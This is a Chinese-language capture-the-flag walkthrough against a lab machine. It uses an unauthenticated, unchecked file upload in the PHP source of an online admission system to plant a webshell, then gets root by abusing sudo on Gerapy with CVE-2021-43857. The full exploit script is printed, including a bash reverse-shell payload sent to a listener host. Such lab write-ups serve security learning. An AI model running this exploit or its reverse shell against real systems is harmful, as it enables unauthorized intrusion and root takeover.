0x01 信息收集
-
ip
-
端口
nmap -sC -sV -p- -T4 10.35.0.119
从 Nmap 扫描中,我们看到了一个 git 远程存储库
-
该 cms 是一个网上录取系统,网站源码如下
0x02 代码审计
-
adminsession.php 用来检查管理员会话
<?php extract($_POST); if (!isset($_SESSION[ad])) { echo "<br>You are not Logged In Please Login to Access this Page<br>"; echo "<a href=adminlogin.php>Click Here to Login</a>"; exit(); } ?>
-
documents.php 包含了 fileupload.php
<?php error_reporting(0); session_start(); include 'fileupload.php'; ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title></title> <link type="text/css" rel="stylesheet" href="css/admform.css"></link> <link rel="stylesheet" href="bootstrap/bootstrap.min.css"> <link rel="stylesheet" href="bootstrap/bootstrap-theme.min.css"> <script src="bootstrap/jquery.min.js"></script> <script src="bootstrap/bootstrap.min.js"></script> <script type="text/javascript"> function send() { if(document.getElementById('dec').checked) { window.location='admsnreport.php'; return false; } return true; } </script> </head> <body style="background-image:url('./images/inbg.jpg');"> <form id="docup" enctype="multipart/form-data" name="docup" action="documents.php" method="post"> <div class="container-fluid"> <div class="row"> <div class="col-sm-12"> <img src="images/cutm.jpg" width="100%" style="box-shadow: 1px 5px 14px #999999; "></img> </div> </div> </div> <div class="container" style="margin-left:100px;"> <table class="table table-striped"> <thead> <tr> <th > <font style=" font-family: Verdana; font-size:19px;"> Upload Your Documents</font> </th> </tr> </thead> <tbody> <tr> <td>Passport Size Image :</td> <td><input type="file" id="fpic" name="fpic" ><br> </td> </tr> <tr> <td>10th Mark Sheet :</td> <td> <input type="file" id="ftndoc" name="ftndoc"><br> </td> </tr> <tr> <td> 10th Certificate : </td> <td> <input type="file" id="ftcdoc" name="ftcdoc"><br> </td> </tr> <tr> <td> 12th/Diploma Mark Sheet : </td> <td> <input type="file" id="fdmdoc" name="fdmdoc"><br> </td> </tr> <tr> <td> 12th/Diploma Certificate : </td> <td><input type="file" id="fdcdoc" name="fdcdoc"><br> </td> </tr> <tr> <td> Identity Proof </td> <td> <input type="file" id="fide" name="fide"><br> </td> </tr> <tr> <td> Signature </td> <td> <input type="file" id="fsig" name="fsig"><br> </td> </tr> <tr> <td colspan="2"><input type="submit" id="fpicup" name="fpicup" class="toggle btn btn-primary"></td> </tr> </tbody> </table> </div> <div class="container"> <center> <div class="jumbotron" style="width:100%; box-shadow: -3px 3px 10px #999999; margin-top:10px;"> <h3> <b> <font style=" font-family: Verdana; font-size:19px;"> Declaration By The Applicant</font></b> </h3> <p><font style=" font-family: Verdana;font-size:medium"> I hereby solemnly declare that all the particulars given in this form are true to the best of my knowledge and belief. I shall abide by the rules and regulations laid down by the College from time to time. In case the particulars furnished by me are found false, my admission stands canceled. </font></p> <input type="checkbox" id="dec" name="dec" value="I accept" onclick="send()"><font style=" font-family: Verdana;font-size:medium"> I accept</font> </div> </div> </form> </body> </html>
fileupload.php:
<?php session_start(); $sp=mysqli_connect("localhost","root","","oas"); if($sp->connect_errno){ echo "Error <br/>".$sp->error; } $picpath="studentpic/"; $docpath="studentdoc/"; $proofpath="studentproof/"; $id=$_SESSION['user']; if(isset($_POST['fpicup'])) { $picpath=$picpath.$_FILES['fpic']['name']; $docpath1=$docpath.$_FILES['ftndoc']['name']; $docpath2=$docpath.$_FILES['ftcdoc']['name']; $docpath3=$docpath.$_FILES['fdmdoc']['name']; $docpath4=$docpath.$_FILES['fdcdoc']['name']; $proofpath1=$proofpath.$_FILES['fide']['name']; $proofpath2=$proofpath.$_FILES['fsig']['name']; if(move_uploaded_file($_FILES['fpic']['tmp_name'],$picpath) && move_uploaded_file($_FILES['ftndoc']['tmp_name'],$docpath1) && move_uploaded_file($_FILES['ftcdoc']['tmp_name'],$docpath2) && move_uploaded_file($_FILES['fdmdoc']['tmp_name'],$docpath3) && move_uploaded_file($_FILES['fdcdoc']['tmp_name'],$docpath4) && move_uploaded_file($_FILES['fide']['tmp_name'],$proofpath1) && move_uploaded_file($_FILES['fsig']['tmp_name'],$proofpath2)) { $img=$_FILES['fpic']['name']; $img1=$_FILES['ftndoc']['name']; $img2=$_FILES['ftcdoc']['name']; $img3=$_FILES['fdmdoc']['name']; $img4=$_FILES['fdcdoc']['name']; $img5=$_FILES['fide']['name']; $img6=$_FILES['fsig']['name']; $query="insert into t_userdoc (s_id,s_pic,s_tenmarkpic,s_tencerpic, s_twdmarkpic, s_twdcerpic, s_idprfpic, s_sigpic) values ('$id','$img','$img1','$img2','$img3','$img4','$img5','$img6')"; if($sp->query($query)){ echo "Inserted to DB "; }else { echo "Error <br/>".$sp->error; } } else { echo "There is an error,please retry or ckeck path"; } } ?>
两个文件都没有 session 验证,并且 fileupload.php 中给出了文件上传后的路径,没有对上传文件的后缀名进行检测
0x03 漏洞利用
-
上传一句话,蚁剑连接
-
查看用户
-
在 /var/www/html 目录下存在一个隐藏文件,结合上面的用户名推测是 sandra 的密码
-
ssh登录得到flag1
0x04 权限提升
-
sudo -l
发现可以以root身份运行 gerapy
Gerapy:是一个基于Scrapyd,Scrapyd API,Django,Vue.js搭建的分布式爬虫管理框架。
-
搜索发现在 0.9.8 版本之前存在远程命令执行,靶机中的版本为 0.9.6
-
漏洞利用
sudo gerapy init sudo gerapy migrate sudo gerapy createsuperuser sudo gerapy runserver 0.0.0.0:8888
使用创建好的用户名密码登录
修改exp并执行执行即可返回 root
python3 50640.py -t 10.35.0.119 -p 8888 -L 10.17.0.249 -P 4444
#!/usr/bin/python import sys import re import argparse import pyfiglet import requests import time import json import subprocess banner = pyfiglet.figlet_format("CVE-2021-43857") print(banner) print('Exploit for CVE-2021-43857') print('For: Gerapy < 0.9.8') login = "admin" #CHANGE ME IF NEEDED password = "admin" #CHANGE ME IF NEEDED class Exploit: def __init__(self, target_ip, target_port, localhost, localport): self.target_ip = target_ip self.target_port = target_port self.localhost = localhost self.localport = localport def exploitation(self): payload = """{"spider":"`/bin/bash -c 'bash -i >& /dev/tcp/""" + localhost + """/""" + localport + """ 0>&1'`"}""" #Login to the app (getting auth token) url = "http://" + target_ip + ":" + target_port r = requests.Session() print("[*] Resolving URL...") r1 = r.get(url) time.sleep(3) print("[*] Logging in to application...") r2 = r.post(url + "/api/user/auth", json={"username":login,"password":password}, allow_redirects=True) time.sleep(3) if (r2.status_code == 200): print('[*] Login successful! Proceeding...') else: print('[*] Something went wrong!') quit() #Create a header out of auth token (yep, it's bad as it looks) dict = json.loads(r2.text) temp_token = 'Token ' temp_token2 = json.dumps(dict['token']).strip('"') auth_token = {} auth_token['Authorization'] = temp_token + temp_token2 #Get the project list print("[*] Getting the project list") r3 = r.get(url + "/api/project/index", headers=auth_token, allow_redirects=True) time.sleep(3) if (r3.status_code != 200): print("[!] Something went wrong! Maybe the token is corrupted?") quit(); #Parse the project name for a request (yep, it's worse than earlier) dict = r3.text # [{'name': 'test'}] dict2 = json.dumps(dict) dict3 = json.loads(dict2) dict3 = json.loads(dict3) name = dict3[0]['name'] print("[*] Found project: " + name) #use the id to check the project print("[*] Getting the ID of the project to build the URL") r4 = r.get(url + "/api/project/" + name + "/build", headers=auth_token, allow_redirects=True) time.sleep(3) if (r4.status_code != 200): print("[*] Something went wrong! I can't reach the found project!") quit(); #format the json to dict dict = r4.text dict2 = json.dumps(dict) dict3 = json.loads(dict2) dict3 = json.loads(dict3) id = dict3['id'] print("[*] Found ID of the project: ", id) time.sleep(1) #netcat listener print("[*] Setting up a netcat listener") listener = subprocess.Popen(["nc", "-nvlp", self.localport]) time.sleep(3) #exec the payload print("[*] Executing reverse shell payload") print("[*] Watchout for shell! :)") r5 = r.post(url + "/api/project/" + str(id) + "/parse", data=payload, headers=auth_token, allow_redirects=True) listener.wait() if (r5.status_code == 200): print("[*] It worked!") listener.wait() else: print("[!] Something went wrong!") listener.terminate() def get_args(): parser = argparse.ArgumentParser(description='Gerapy < 0.9.8 - Remote Code Execution (RCE) (Authenticated)') parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP') parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port') parser.add_argument('-L', '--lh', dest="localhost", required=True, action='store', help='Listening IP') parser.add_argument('-P', '--lp', dest="localport", required=True, action='store', help='Listening port') args = parser.parse_args() return args args = get_args() target_ip = args.url target_port = args.target_port localhost = args.localhost localport = args.localport exp = Exploit(target_ip, target_port, localhost, localport) exp.exploitation()